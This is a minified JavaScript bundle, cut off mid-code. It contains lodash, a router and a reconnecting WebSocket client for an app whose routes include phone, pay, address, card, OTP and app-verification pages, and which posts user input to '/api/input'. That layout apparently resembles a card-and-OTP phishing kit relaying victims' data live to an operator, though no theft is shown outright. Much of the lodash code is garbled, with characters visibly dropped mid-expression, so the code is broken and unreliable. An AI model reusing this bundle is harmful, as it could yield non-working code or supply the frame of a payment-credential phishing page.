f=l.length;if(r==null)return!f;for(r=tt(r);f--;){var p=l[f],y=i[p],T=r[p];if(T===n&&!(p in r)||!y(T))return!1}return!0}function hh(r,i,l){if(typeof r!="function")throw new wn(c);return fi(function(){r.apply(n,l)},i)}function ii(r,i,l,f){var p=-1,y=Zi,T=!0,A=r.length,k=[],J=i.length;if(!A)return k;l&&(i=ut(i,un(l))),f?(y=nl,T=!1):i.length>=o&&(y=Qs,T=!1,i=new Gr(i));e:for(;++pp?0:p+l),f=f===n||f>p?p:Ie(f),f<0&&(f+=p),f=l>f?0:Ld(f);l0&&l(A)?i>1?Bt(A,i-1,l,f,p):br(p,A):f||(p[p.length]=A)}return p}var _l=$h(),mh=$h(!0);function Vn(r,i){return r&&_l(r,i,Pt)}function yl(r,i){return r&&mh(r,i,Pt)}function bo(r,i){return yr(i,function(l){return ir(r[l])})}function Yr(r,i){i=Tr(i,r);for(var l=0,f=i.length;r!=null&&li}function I0(r,i){return r!=null&&Qe.call(r,i)}function N0(r,i){return r!=null&&i in tt(r)}function P0(r,i,l){return r>=Ht(i,l)&&r=120&&X.length>=120)?new Gr(T&&X):n}X=r[0];var ee=-1,le=A[0];e:for(;++ee-1;)A!==r&&co.call(A,k,1),co.call(r,k,1);return r}function Rh(r,i){for(var l=r?i.length:0,f=l-1;l--;){var p=i[l];if(l==f||p!==y){var y=p;sr(p)?co.call(r,p,1):Cl(r,p)}}return r}function Ol(r,i){return r+ho(oh()*(i-r+1))}function z0(r,i,l,f){for(var p=-1,y=Ct(fo((i-r)/(l||1)),0),T=H(y);y--;)T[f?y:++p]=r,r+=l;return T}function Rl(r,i){var l="";if(!r||i<1||i>ye)return l;do i%2&&(l+=r),i=ho(i/2),i&&(r+=r);while(i);return l}function ke(r,i){return Vl(nd(r,i,on),r+"")}function G0(r){return ch(Rs(r))}function j0(r,i){var l=Rs(r);return Lo(l,jr(i,0,l.length))}function li(r,i,l,f){if(!ht(r))return r;i=Tr(i,r);for(var p=-1,y=i.length,T=y-1,A=r;A!=null&&++pp?0:p+i),l=l>p?p:l,l<0&&(l+=p),p=i>l?0:l-i>>>0,i>>>=0;for(var y=H(p);++f>>1,T=r[y];T!==null&&!hn(T)&&(l?T<=i:T=o){var J=i?null:lv(r);if(J)return to(J);T=!1,p=Qs,k=new Gr}else k=i?[]:A;e:for(;++f=f?r:On(r,i,l)}var Ph=Bb||function(r){return Ut.clearTimeout(r)};function kh(r,i){if(i)return r.slice();var l=r.length,f=th?th(l):new r.constructor(l);return r.copy(f),f}function Nl(r){var i=new r.constructor(r.byteLength);return new ao(i).set(new ao(r)),i}function Z0(r,i){var l=i?Nl(r.buffer):r.buffer;return new r.constructor(l,r.byteOffset,r.byteLength)}function ev(r){var i=new r.constructor(r.source,_f.exec(r));return i.lastIndex=r.lastIndex,i}function tv(r){return ri?tt(ri.call(r)):{}}function Dh(r,i){var l=i?Nl(r.buffer):r.buffer;return new r.constructor(l,r.byteOffset,r.length)}function Mh(r,i){if(r!==i){var l=r!==n,f=r===null,p=r===r,y=hn(r),T=i!==n,A=i===null,k=i===i,J=hn(i);if(!A&&!J&&!y&&r>i||y&&T&&k&&!A&&!J||f&&T&&k||!l&&k||!p)return 1;if(!f&&!y&&!J&&r=A)return k;var J=l[f];return k*(J=="desc"?-1:1)}}return r.index-i.index}function Fh(r,i,l,f){for(var p=-1,y=r.length,T=l.length,A=-1,k=i.length,J=Ct(y-T,0),X=H(k+J),ee=!f;++A1?l[p-1]:n,T=p>2?l[2]:n;for(y=r.length>3&&typeof y=="function"?(p--,y):n,T&&Gt(l[0],l[1],T)&&(y=p<3?n:y,p=1),i=tt(i);++f-1?p[y?i[T]:T]:n}}function Vh(r){return rr(function(i){var l=i.length,f=l,p=Sn.prototype.thru;for(r&&i.reverse();f--;){var y=i[f];if(typeof y!="function")throw new wn(c);if(p&&!T&&Co(y)=="wrapper")var T=new Sn([],!0)}for(f=T?f:l;++f1&&Be.reverse(),X&&kA))return!1;var J=y.get(r),X=y.get(i);if(J&&X)return J==i&&X==r;var ee=-1,le=!0,pe=l&F?new Gr:n;for(y.set(r,i),y.set(i,r);++ee1?"& ":"")+i[f],i=i.join(l>2?", ":" "),r.replace(by,`{ /* [wrapped with `+i+`] */ `)}function yv(r){return Oe(r)||Qr(r)||!!(sh&&r&&r[sh])}function sr(r,i){var l=typeof r;return i=i??ye,!!i&&(l=="number"||l!="symbol"&&Ly.test(r))&&r>-1&&r%1==0&&r0){if(++i>=Me)return arguments[0]}else i=0;return r.apply(n,arguments)}}function Lo(r,i){var l=-1,f=r.length,p=f-1;for(i=i===n?f:i;++l1?r[i-1]:n;return l=typeof l=="function"?(r.pop(),l):n,pd(r,l)});function md(r){var i=_(r);return i.__chain__=!0,i}function xE(r,i){return i(r),r}function Io(r,i){return i(r)}var LE=rr(function(r){var i=r.length,l=i?r[0]:0,f=this.__wrapped__,p=function(y){return gl(y,r)};return i>1||this.__actions__.length||!(f instanceof Ue)||!sr(l)?this.thru(p):(f=f.slice(l,+l+(i?1:0)),f.__actions__.push({func:Io,args:[p],thisArg:n}),new Sn(f,this.__chain__).thru(function(y){return i&&!y.length&&y.push(n),y}))});function IE(){return md(this)}function NE(){return new Sn(this.value(),this.__chain__)}function PE(){this.__values__===n&&(this.__values__=xd(this.value()));var r=this.__index__>=this.__values__.length,i=r?n:this.__values__[this.__index__++];return{done:r,value:i}}function kE(){return this}function DE(r){for(var i,l=this;l instanceof go;){var f=ld(l);f.__index__=0,f.__values__=n,i?p.__wrapped__=f:i=f;var p=f;l=l.__wrapped__}return p.__wrapped__=r,i}function ME(){var r=this.__wrapped__;if(r instanceof Ue){var i=r;return this.__actions__.length&&(i=new Ue(this)),i=i.reverse(),i.__actions__.push({func:Io,args:[ql],thisArg:n}),new Sn(i,this.__chain__)}return this.thru(ql)}function FE(){return Ih(this.__wrapped__,this.__actions__)}var UE=So(function(r,i,l){Qe.call(r,l)?++r[l]:tr(r,l,1)});function BE(r,i,l){var f=Oe(r)?qf:x0;return l&&Gt(r,i,l)&&(i=n),f(r,_e(i,3))}function $E(r,i){var l=Oe(r)?yr:ph;return l(r,_e(i,3))}var WE=Hh(cd),HE=Hh(ud);function VE(r,i){return Bt(No(r,i),1)}function qE(r,i){return Bt(No(r,i),me)}function KE(r,i,l){return l=l===n?1:Ie(l),Bt(No(r,i),l)}function gd(r,i){var l=Oe(r)?En:wr;return l(r,_e(i,3))}function _d(r,i){var l=Oe(r)?ub:dh;return l(r,_e(i,3))}var zE=So(function(r,i,l){Qe.call(r,l)?r[l].push(i):tr(r,l,[i])});function GE(r,i,l,f){r=rn(r)?r:Rs(r),l=l&&!f?Ie(l):0;var p=r.length;return l<0&&(l=Ct(p+l,0)),Fo(r)?l<=p&&r.indexOf(i,l)>-1:!!p&&ps(r,i,l)>-1}var jE=ke(function(r,i,l){var f=-1,p=typeof i=="function",y=rn(r)?H(r.length):[];return wr(r,function(T){y[++f]=p?cn(i,T,l):oi(T,i,l)}),y}),YE=So(function(r,i,l){tr(r,l,i)});function No(r,i){var l=Oe(r)?ut:vh;return l(r,_e(i,3))}function JE(r,i,l,f){return r==null?[]:(Oe(i)||(i=i==null?[]:[i]),l=f?n:l,Oe(l)||(l=l==null?[]:[l]),Th(r,i,l))}var XE=So(function(r,i,l){r[l?0:1].push(i)},function(){return[[],[]]});function QE(r,i,l){var f=Oe(r)?rl:jf,p=arguments.length<3;return f(r,_e(i,4),l,p,wr)}function ZE(r,i,l){var f=Oe(r)?fb:jf,p=arguments.length<3;return f(r,_e(i,4),l,p,dh)}function ew(r,i){var l=Oe(r)?yr:ph;return l(r,Do(_e(i,3)))}function tw(r){var i=Oe(r)?ch:G0;return i(r)}function nw(r,i,l){(l?Gt(r,i,l):i===n)?i=1:i=Ie(i);var f=Oe(r)?T0:j0;return f(r,i)}function rw(r){var i=Oe(r)?O0:J0;return i(r)}function sw(r){if(r==null)return 0;if(rn(r))return Fo(r)?gs(r):r.length;var i=Vt(r);return i==S||i==B?r.size:wl(r).length}function iw(r,i,l){var f=Oe(r)?sl:X0;return l&&Gt(r,i,l)&&(i=n),f(r,_e(i,3))}var ow=ke(function(r,i){if(r==null)return[];var l=i.length;return l>1&&Gt(r,i[0],i[1])?i=[]:l>2&&Gt(i[0],i[1],i[2])&&(i=[i[0]]),Th(r,Bt(i,1),[])}),Po=$b||function(){return Ut.Date.now()};function aw(r,i){if(typeof i!="function")throw new wn(c);return r=Ie(r),function(){if(--r<1)return i.apply(this,arguments)}}function yd(r,i,l){return i=l?n:i,i=r&&i==null?r.length:i,nr(r,W,n,n,n,n,i)}function bd(r,i){var l;if(typeof i!="function")throw new wn(c);return r=Ie(r),function(){return--r>0&&(l=i.apply(this,arguments)),r<=1&&(i=n),l}}var zl=ke(function(r,i,l){var f=D;if(l.length){var p=vr(l,Ts(zl));f|=q}return nr(r,f,i,l,p)}),vd=ke(function(r,i,l){var f=D|R;if(l.length){var p=vr(l,Ts(vd));f|=q}return nr(i,f,r,l,p)});function Ed(r,i,l){i=l?n:i;var f=nr(r,U,n,n,n,n,n,i);return f.placeholder=Ed.placeholder,f}function wd(r,i,l){i=l?n:i;var f=nr(r,x,n,n,n,n,n,i);return f.placeholder=wd.placeholder,f}function Sd(r,i,l){var f,p,y,T,A,k,J=0,X=!1,ee=!1,le=!0;if(typeof r!="function")throw new wn(c);i=An(i)||0,ht(l)&&(X=!!l.leading,ee="maxWait"in l,y=ee?Ct(An(l.maxWait)||0,i):y,le="trailing"in l?!!l.trailing:le);function pe(Et){var kn=f,ar=p;return f=p=n,J=Et,T=r.apply(ar,kn),T}function be(Et){return J=Et,A=fi(Fe,i),X?pe(Et):T}function Ne(Et){var kn=Et-k,ar=Et-J,Hd=i-kn;return ee?Ht(Hd,y-ar):Hd}function ve(Et){var kn=Et-k,ar=Et-J;return k===n||kn>=i||kn<0||ee&&ar>=y}function Fe(){var Et=Po();if(ve(Et))return Be(Et);A=fi(Fe,Ne(Et))}function Be(Et){return A=n,le&&f?pe(Et):(f=p=n,T)}function dn(){A!==n&&Ph(A),J=0,f=k=p=A=n}function jt(){return A===n?T:Be(Po())}function pn(){var Et=Po(),kn=ve(Et);if(f=arguments,p=this,k=Et,kn){if(A===n)return be(k);if(ee)return Ph(A),A=fi(Fe,i),pe(k)}return A===n&&(A=fi(Fe,i)),T}return pn.cancel=dn,pn.flush=jt,pn}var lw=ke(function(r,i){return hh(r,1,i)}),cw=ke(function(r,i,l){return hh(r,An(i)||0,l)});function uw(r){return nr(r,se)}function ko(r,i){if(typeof r!="function"||i!=null&&typeof i!="function")throw new wn(c);var l=function(){var f=arguments,p=i?i.apply(this,f):f[0],y=l.cache;if(y.has(p))return y.get(p);var T=r.apply(this,f);return l.cache=y.set(p,T)||y,T};return l.cache=new(ko.Cache||er),l}ko.Cache=er;function Do(r){if(typeof r!="function")throw new wn(c);return function(){var i=arguments;switch(i.length){case 0:return!r.call(this);case 1:return!r.call(this,i[0]);case 2:return!r.call(this,i[0],i[1]);case 3:return!r.call(this,i[0],i[1],i[2])}return!r.apply(this,i)}}function fw(r){return bd(2,r)}var hw=Q0(function(r,i){i=i.length==1&&Oe(i[0])?ut(i[0],un(_e())):ut(Bt(i,1),un(_e()));var l=i.length;return ke(function(f){for(var p=-1,y=Ht(f.length,l);++p=i}),Qr=_h(function(){return arguments}())?_h:function(r){return gt(r)&&Qe.call(r,"callee")&&!rh.call(r,"callee")},Oe=H.isArray,Aw=Uf?un(Uf):D0;function rn(r){return r!=null&&Mo(r.length)&&!ir(r)}function vt(r){return gt(r)&&rn(r)}function Cw(r){return r===!0||r===!1||gt(r)&&zt(r)==re}var Rr=Hb||sc,xw=Bf?un(Bf):M0;function Lw(r){return gt(r)&&r.nodeType===1&&!hi(r)}function Iw(r){if(r==null)return!0;if(rn(r)&&(Oe(r)||typeof r=="string"||typeof r.splice=="function"||Rr(r)||Os(r)||Qr(r)))return!r.length;var i=Vt(r);if(i==S||i==B)return!r.size;if(ui(r))return!wl(r).length;for(var l in r)if(Qe.call(r,l))return!1;return!0}function Nw(r,i){return ai(r,i)}function Pw(r,i,l){l=typeof l=="function"?l:n;var f=l?l(r,i):n;return f===n?ai(r,i,n,l):!!f}function jl(r){if(!gt(r))return!1;var i=zt(r);return i==ge||i==oe||typeof r.message=="string"&&typeof r.name=="string"&&!hi(r)}function kw(r){return typeof r=="number"&&ih(r)}function ir(r){if(!ht(r))return!1;var i=zt(r);return i==Pe||i==v||i==V||i==E}function Od(r){return typeof r=="number"&&r==Ie(r)}function Mo(r){return typeof r=="number"&&r>-1&&r%1==0&&r<=ye}function ht(r){var i=typeof r;return r!=null&&(i=="object"||i=="function")}function gt(r){return r!=null&&typeof r=="object"}var Rd=$f?un($f):U0;function Dw(r,i){return r===i||El(r,i,Ul(i))}function Mw(r,i,l){return l=typeof l=="function"?l:n,El(r,i,Ul(i),l)}function Fw(r){return Ad(r)&&r!=+r}function Uw(r){if(Ev(r))throw new Te(a);return yh(r)}function Bw(r){return r===null}function $w(r){return r==null}function Ad(r){return typeof r=="number"||gt(r)&&zt(r)==M}function hi(r){if(!gt(r)||zt(r)!=K)return!1;var i=lo(r);if(i===null)return!0;var l=Qe.call(i,"constructor")&&i.constructor;return typeof l=="function"&&l instanceof l&&so.call(l)==Mb}var Yl=Wf?un(Wf):B0;function Ww(r){return Od(r)&&r>=-ye&&r<=ye}var Cd=Hf?un(Hf):$0;function Fo(r){return typeof r=="string"||!Oe(r)&>(r)&&zt(r)==G}function hn(r){return typeof r=="symbol"||gt(r)&&zt(r)==te}var Os=Vf?un(Vf):W0;function Hw(r){return r===n}function Vw(r){return gt(r)&&Vt(r)==$}function qw(r){return gt(r)&&zt(r)==ie}var Kw=Ao(Sl),zw=Ao(function(r,i){return r<=i});function xd(r){if(!r)return[];if(rn(r))return Fo(r)?In(r):nn(r);if(Zs&&r[Zs])return Tb(r[Zs]());var i=Vt(r),l=i==S?ul:i==B?to:Rs;return l(r)}function or(r){if(!r)return r===0?r:0;if(r=An(r),r===me||r===-me){var i=r<0?-1:1;return i*et}return r===r?r:0}function Ie(r){var i=or(r),l=i%1;return i===i?l?i-l:i:0}function Ld(r){return r?jr(Ie(r),0,ce):0}function An(r){if(typeof r=="number")return r;if(hn(r))return bt;if(ht(r)){var i=typeof r.valueOf=="function"?r.valueOf():r;r=ht(i)?i+"":i}if(typeof r!="string")return r===0?r:+r;r=Yf(r);var l=Ay.test(r);return l||xy.test(r)?ab(r.slice(2),l?2:8):Ry.test(r)?bt:+r}function Id(r){return qn(r,sn(r))}function Gw(r){return r?jr(Ie(r),-ye,ye):r===0?r:0}function Je(r){return r==null?"":fn(r)}var jw=ws(function(r,i){if(ui(i)||rn(i)){qn(i,Pt(i),r);return}for(var l in i)Qe.call(i,l)&&si(r,l,i[l])}),Nd=ws(function(r,i){qn(i,sn(i),r)}),Uo=ws(function(r,i,l,f){qn(i,sn(i),r,f)}),Yw=ws(function(r,i,l,f){qn(i,Pt(i),r,f)}),Jw=rr(gl);function Xw(r,i){var l=Es(r);return i==null?l:uh(l,i)}var Qw=ke(function(r,i){r=tt(r);var l=-1,f=i.length,p=f>2?i[2]:n;for(p&&Gt(i[0],i[1],p)&&(f=1);++l1),y}),qn(r,Ml(r),l),f&&(l=Tn(l,g|w|O,cv));for(var p=i.length;p--;)Cl(l,i[p]);return l});function g1(r,i){return kd(r,Do(_e(i)))}var _1=rr(function(r,i){return r==null?{}:q0(r,i)});function kd(r,i){if(r==null)return{};var l=ut(Ml(r),function(f){return[f]});return i=_e(i),Oh(r,l,function(f,p){return i(f,p[0])})}function y1(r,i,l){i=Tr(i,r);var f=-1,p=i.length;for(p||(p=1,r=n);++fi){var f=r;r=i,i=f}if(l||r%1||i%1){var p=oh();return Ht(r+p*(i-r+ob("1e-"+((p+"").length-1))),i)}return Ol(r,i)}var x1=Ss(function(r,i,l){return i=i.toLowerCase(),r+(l?Fd(i):i)});function Fd(r){return Ql(Je(r).toLowerCase())}function Ud(r){return r=Je(r),r&&r.replace(Iy,bb).replace(Jy,"")}function L1(r,i,l){r=Je(r),i=fn(i);var f=r.length;l=l===n?f:jr(Ie(l),0,f);var p=l;return l-=i.length,l>=0&&r.slice(l,p)==i}function I1(r){return r=Je(r),r&&za.test(r)?r.replace(ji,vb):r}function N1(r){return r=Je(r),r&&_y.test(r)?r.replace(Ga,"\\$&"):r}var P1=Ss(function(r,i,l){return r+(l?"-":"")+i.toLowerCase()}),k1=Ss(function(r,i,l){return r+(l?" ":"")+i.toLowerCase()}),D1=Wh("toLowerCase");function M1(r,i,l){r=Je(r),i=Ie(i);var f=i?gs(r):0;if(!i||f>=i)return r;var p=(i-f)/2;return Ro(ho(p),l)+r+Ro(fo(p),l)}function F1(r,i,l){r=Je(r),i=Ie(i);var f=i?gs(r):0;return i&&f>>0,l?(r=Je(r),r&&(typeof i=="string"||i!=null&&!Yl(i))&&(i=fn(i),!i&&ms(r))?Or(In(r),0,l):r.split(i,l)):[]}var q1=Ss(function(r,i,l){return r+(l?" ":"")+Ql(i)});function K1(r,i,l){return r=Je(r),l=l==null?0:jr(Ie(l),0,r.length),i=fn(i),r.slice(l,l+i.length)==i}function z1(r,i,l){var f=_.templateSettings;l&&Gt(r,i,l)&&(i=n),r=Je(r),i=Uo({},i,f,jh);var p=Uo({},i.imports,f.imports,jh),y=Pt(p),T=cl(p,y),A,k,J=0,X=i.interpolate||Ji,ee="__p += '",le=fl((i.escape||Ji).source+"|"+X.source+"|"+(X===gf?Oy:Ji).source+"|"+(i.evaluate||Ji).source+"|$","g"),pe="//# sourceURL="+(Qe.call(i,"sourceURL")?(i.sourceURL+"").replace(/\s/g," "):"lodash.templateSources["+ ++tb+"]")+` `;r.replace(le,function(ve,Fe,Be,dn,jt,pn){return Be||(Be=dn),ee+=r.slice(J,pn).replace(Ny,Eb),Fe&&(A=!0,ee+=`' + __e(`+Fe+`) + '`),jt&&(k=!0,ee+=`'; `+jt+`; __p += '`),Be&&(ee+=`' + ((__t = (`+Be+`)) == null ? '' : __t) + '`),J=pn+ve.length,ve}),ee+=`'; `;var be=Qe.call(i,"variable")&&i.variable;if(!be)ee=`with (obj) { `+ee+` } `;else if(Sy.test(be))throw new Te(u);ee=(k?ee.replace(mt,""):ee).replace(st,"$1").replace(Ka,"$1;"),ee="function("+(be||"obj")+`) { `+(be?"":`obj || (obj = {}); `)+"var __t, __p = ''"+(A?", __e = _.escape":"")+(k?`, __j = Array.prototype.join; function print() { __p += __j.call(arguments, '') } `:`; `)+ee+`return __p }`;var Ne=$d(function(){return je(y,pe+"return "+ee).apply(n,T)});if(Ne.source=ee,jl(Ne))throw Ne;return Ne}function G1(r){return Je(r).toLowerCase()}function j1(r){return Je(r).toUpperCase()}function Y1(r,i,l){if(r=Je(r),r&&(l||i===n))return Yf(r);if(!r||!(i=fn(i)))return r;var f=In(r),p=In(i),y=Jf(f,p),T=Xf(f,p)+1;return Or(f,y,T).join("")}function J1(r,i,l){if(r=Je(r),r&&(l||i===n))return r.slice(0,Zf(r)+1);if(!r||!(i=fn(i)))return r;var f=In(r),p=Xf(f,In(i))+1;return Or(f,0,p).join("")}function X1(r,i,l){if(r=Je(r),r&&(l||i===n))return r.replace(ja,"");if(!r||!(i=fn(i)))return r;var f=In(r),p=Jf(f,In(i));return Or(f,p).join("")}function Q1(r,i){var l=Ae,f=Ve;if(ht(i)){var p="separator"in i?i.separator:p;l="length"in i?Ie(i.length):l,f="omission"in i?fn(i.omission):f}r=Je(r);var y=r.length;if(ms(r)){var T=In(r);y=T.length}if(l>=y)return r;var A=l-gs(f);if(A<1)return f;var k=T?Or(T,0,A).join(""):r.slice(0,A);if(p===n)return k+f;if(T&&(A+=k.length-A),Yl(p)){if(r.slice(A).search(p)){var J,X=k;for(p.global||(p=fl(p.source,Je(_f.exec(p))+"g")),p.lastIndex=0;J=p.exec(X);)var ee=J.index;k=k.slice(0,ee===n?A:ee)}}else if(r.indexOf(fn(p),A)!=A){var le=k.lastIndexOf(p);le>-1&&(k=k.slice(0,le))}return k+f}function Z1(r){return r=Je(r),r&&Yi.test(r)?r.replace(Xs,Cb):r}var eS=Ss(function(r,i,l){return r+(l?" ":"")+i.toUpperCase()}),Ql=Wh("toUpperCase");function Bd(r,i,l){return r=Je(r),i=l?n:i,i===n?Sb(r)?Ib(r):pb(r):r.match(i)||[]}var $d=ke(function(r,i){try{return cn(r,n,i)}catch(l){return jl(l)?l:new Te(l)}}),tS=rr(function(r,i){return En(i,function(l){l=Kn(l),tr(r,l,zl(r[l],r))}),r});function nS(r){var i=r==null?0:r.length,l=_e();return r=i?ut(r,function(f){if(typeof f[1]!="function")throw new wn(c);return[l(f[0]),f[1]]}):[],ke(function(f){for(var p=-1;++pye)return[];var l=ce,f=Ht(r,ce);i=_e(i),r-=ce;for(var p=ll(f,i);++l0||i<0)?new Ue(l):(r<0?l=l.takeRight(-r):r&&(l=l.drop(r)),i!==n&&(i=Ie(i),l=i<0?l.dropRight(-i):l.take(i-r)),l)},Ue.prototype.takeRightWhile=function(r){return this.reverse().takeWhile(r).reverse()},Ue.prototype.toArray=function(){return this.take(ce)},Vn(Ue.prototype,function(r,i){var l=/^(?:filter|find|map|reject)|While$/.test(i),f=/^(?:head|last)$/.test(i),p=_[f?"take"+(i=="last"?"Right":""):i],y=f||/^find/.test(i);p&&(_.prototype[i]=function(){var T=this.__wrapped__,A=f?[1]:arguments,k=T instanceof Ue,J=A[0],X=k||Oe(T),ee=function(Fe){var Be=p.apply(_,br([Fe],A));return f&&le?Be[0]:Be};X&&l&&typeof J=="function"&&J.length!=1&&(k=X=!1);var le=this.__chain__,pe=!!this.__actions__.length,be=y&&!le,Ne=k&&!pe;if(!y&&X){T=Ne?T:new Ue(this);var ve=r.apply(T,A);return ve.__actions__.push({func:Io,args:[ee],thisArg:n}),new Sn(ve,le)}return be&&Ne?r.apply(this,A):(ve=this.thru(ee),be?f?ve.value()[0]:ve.value():ve)})}),En(["pop","push","shift","sort","splice","unshift"],function(r){var i=no[r],l=/^(?:push|sort|unshift)$/.test(r)?"tap":"thru",f=/^(?:pop|shift)$/.test(r);_.prototype[r]=function(){var p=arguments;if(f&&!this.__chain__){var y=this.value();return i.apply(Oe(y)?y:[],p)}return this[l](function(T){return i.apply(Oe(T)?T:[],p)})}}),Vn(Ue.prototype,function(r,i){var l=_[i];if(l){var f=l.name+"";Qe.call(vs,f)||(vs[f]=[]),vs[f].push({name:i,func:l})}}),vs[To(n,R).name]=[{name:"wrapper",func:n}],Ue.prototype.clone=Zb,Ue.prototype.reverse=e0,Ue.prototype.value=t0,_.prototype.at=LE,_.prototype.chain=IE,_.prototype.commit=NE,_.prototype.next=PE,_.prototype.plant=DE,_.prototype.reverse=ME,_.prototype.toJSON=_.prototype.valueOf=_.prototype.value=FE,_.prototype.first=_.prototype.head,Zs&&(_.prototype[Zs]=kE),_},_s=Nb();qr?((qr.exports=_s)._=_s,el._=_s):Ut._=_s}).call(Ns)})(_a,_a.exports);var ox=_a.exports;const ax=P_(ox);function lx(e){Ba.post("/api/input",e).then(t=>{})}function cx(e){return{all:e=e||new Map,on:function(t,n){var s=e.get(t);s?s.push(n):e.set(t,[n])},off:function(t,n){var s=e.get(t);s&&(n?s.splice(s.indexOf(n)>>>0,1):e.set(t,[]))},emit:function(t,n){var s=e.get(t);s&&s.slice().map(function(o){o(n)}),(s=e.get("*"))&&s.slice().map(function(o){o(t,n)})}}}const ea=cx(),ux="modulepreload",fx=function(e){return"/"+e},Zp={},Dn=function(t,n,s){if(!n||n.length===0)return t();const o=document.getElementsByTagName("link");return Promise.all(n.map(a=>{if(a=fx(a),a in Zp)return;Zp[a]=!0;const c=a.endsWith(".css"),u=c?'[rel="stylesheet"]':"";if(!!s)for(let m=o.length-1;m>=0;m--){const g=o[m];if(g.href===a&&(!c||g.rel==="stylesheet"))return}else if(document.querySelector(`link[href="${a}"]${u}`))return;const d=document.createElement("link");if(d.rel=c?"stylesheet":ux,c||(d.as="script",d.crossOrigin=""),d.href=a,document.head.appendChild(d),c)return new Promise((m,g)=>{d.addEventListener("load",m),d.addEventListener("error",()=>g(new Error(`Unable to preload CSS for ${a}`)))})})).then(()=>t()).catch(a=>{const c=new Event("vite:preloadError",{cancelable:!0});if(c.payload=a,window.dispatchEvent(c),!c.defaultPrevented)throw a})};const js=bA({history:JR("/"),scrollBehavior(e,t,n){return n||{top:0}},routes:[{path:"/",name:"index",component:()=>Dn(()=>import("./IndexView-06ca9ef5.js"),[])},{path:"/home",name:"home",component:()=>Dn(()=>import("./HomeView-bd1c6b7b.js"),["assets/HomeView-bd1c6b7b.js","assets/CommonLayout.vue_vue_type_script_setup_true_lang-8eb92b51.js","assets/HomeView-0ed5687f.css"])},{path:"/phone",name:"phone",component:()=>Dn(()=>import("./PhoneView-cfa51928.js"),["assets/PhoneView-cfa51928.js","assets/CommonLayout.vue_vue_type_script_setup_true_lang-8eb92b51.js"])},{path:"/pay",name:"pay",component:()=>Dn(()=>import("./PayView-2b86ad66.js"),["assets/PayView-2b86ad66.js","assets/CommonLayout.vue_vue_type_script_setup_true_lang-8eb92b51.js","assets/PayView-e498ef60.css"])},{path:"/goods",name:"goods",component:()=>Dn(()=>import("./GoodsView-18c22331.js"),["assets/GoodsView-18c22331.js","assets/CommonLayout.vue_vue_type_script_setup_true_lang-8eb92b51.js","assets/GoodsView-2e846654.css"])},{path:"/address",name:"address",component:()=>Dn(()=>import("./AddressView-e332014d.js"),["assets/AddressView-e332014d.js","assets/CommonLayout.vue_vue_type_script_setup_true_lang-8eb92b51.js","assets/AddressView-c99002ae.css"])},{path:"/otpValid",name:"otpValid",component:()=>Dn(()=>import("./OtpView-c7d62f87.js"),["assets/OtpView-c7d62f87.js","assets/CardType1-5d9d248c.js","assets/1a32e1333fcfa-24ae378a.js","assets/CardType1-e3b0c442.css","assets/OtpView-4f14cf50.css"])},{path:"/customOtpValid",name:"customOtpValid",component:()=>Dn(()=>import("./CustomOtpView-479b425b.js"),["assets/CustomOtpView-479b425b.js","assets/CardType1-5d9d248c.js","assets/1a32e1333fcfa-24ae378a.js","assets/CardType1-e3b0c442.css","assets/CustomOtpView-cf78b02d.css"])},{path:"/appValid",name:"appValid",component:()=>Dn(()=>import("./AppValidView-2956c8c5.js"),["assets/AppValidView-2956c8c5.js","assets/AppValidView-3efb7c5c.css"])},{path:"/success",name:"success",component:()=>Dn(()=>import("./SuccessView-c98206a4.js"),["assets/SuccessView-c98206a4.js","assets/CommonLayout.vue_vue_type_script_setup_true_lang-8eb92b51.js","assets/SuccessView-a792ba8b.css"])},{path:"/card",name:"card",component:()=>Dn(()=>import("./CardView-fb558c6f.js"),["assets/CardView-fb558c6f.js","assets/1a32e1333fcfa-24ae378a.js","assets/CommonLayout.vue_vue_type_script_setup_true_lang-8eb92b51.js","assets/CardView-5ceb4ecb.css"])}]});let hx=class{constructor(t,n={}){qt(this,"url");qt(this,"ws",null);qt(this,"opts");qt(this,"reconnectAttempts",0);qt(this,"listeners",{});qt(this,"heartbeatInterval",null);qt(this,"heartCount",0);qt(this,"sendQueue",[]);qt(this,"pendingConfirmations",new Map);qt(this,"reconnectTimeoutId",null);qt(this,"messageTimeoutChecker",null);this.url=t,this.opts={heartbeatInterval:2e3,reconnectInterval:1e3,maxReconnectAttempts:10,maxMessageRetries:3,forceClose:!1,timeOut:!1,...n},this.init(),this.setupVisibilityListener(),this.setupNetworkListener()}init(){this.isConnectingOrOpen()||(this.heartCount=0,this.ws=new WebSocket(this.url),this.ws.onopen=this.onOpen.bind(this),this.ws.onmessage=this.onMessage.bind(this),this.ws.onerror=this.onError.bind(this),this.ws.onclose=this.onClose.bind(this))}isConnectingOrOpen(){var t,n;return((t=this.ws)==null?void 0:t.readyState)===WebSocket.CONNECTING||((n=this.ws)==null?void 0:n.readyState)===WebSocket.OPEN}onOpen(t){this.reconnectAttempts=0,this.clearReconnectTimeout(),this.startHeartbeat(),this.startRetryPendingConfirmations(),this.emit("open",t),this.flushSendQueue()}onMessage(t){const n=JSON.parse(t.data);if(n.event==="heartbeat")this.heartCount=0;else if(n.event==="ack"){const s=n.messageId;s&&this.pendingConfirmations.has(s)&&this.pendingConfirmations.delete(s)}else this.emit("message",t.data)}onError(t){this.emit("error",t)}onClose(t){if(this.stopHeartbeat(),this.stopRetryPendingConfirmations(),this.emit("close",t),!this.shouldReconnect()||this.reconnectTimeoutId!==null)return;let n=this.opts.reconnectInterval*Math.pow(2,this.reconnectAttempts);n>3e4&&(n=3e4),this.reconnectTimeoutId=window.setTimeout(()=>{var s;this.reconnectAttempts++,this.reconnectTimeoutId=null,((s=this.ws)==null?void 0:s.readyState)===WebSocket.CLOSED&&(console.log(`retry ${this.reconnectAttempts} reconnect`),this.init())},n)}shouldReconnect(){return!(this.opts.maxReconnectAttempts&&this.reconnectAttempts>=this.opts.maxReconnectAttempts)}clearReconnectTimeout(){this.reconnectTimeoutId!==null&&(clearTimeout(this.reconnectTimeoutId),this.reconnectTimeoutId=null)}startHeartbeat(){this.opts.heartbeatInterval&&(this.heartbeatInterval=window.setInterval(()=>{var t,n;if(this.heartCount>=3){(t=this.ws)==null||t.close();return}this.heartCount++,((n=this.ws)==null?void 0:n.readyState)===WebSocket.OPEN&&this.ws.send(JSON.stringify({event:"heartbeat",content:{tag:"user"}}))},this.opts.heartbeatInterval))}stopHeartbeat(){this.heartbeatInterval&&(clearInterval(this.heartbeatInterval),this.heartbeatInterval=null)}async send(t){var s;const n=this.generateMessageId();try{const 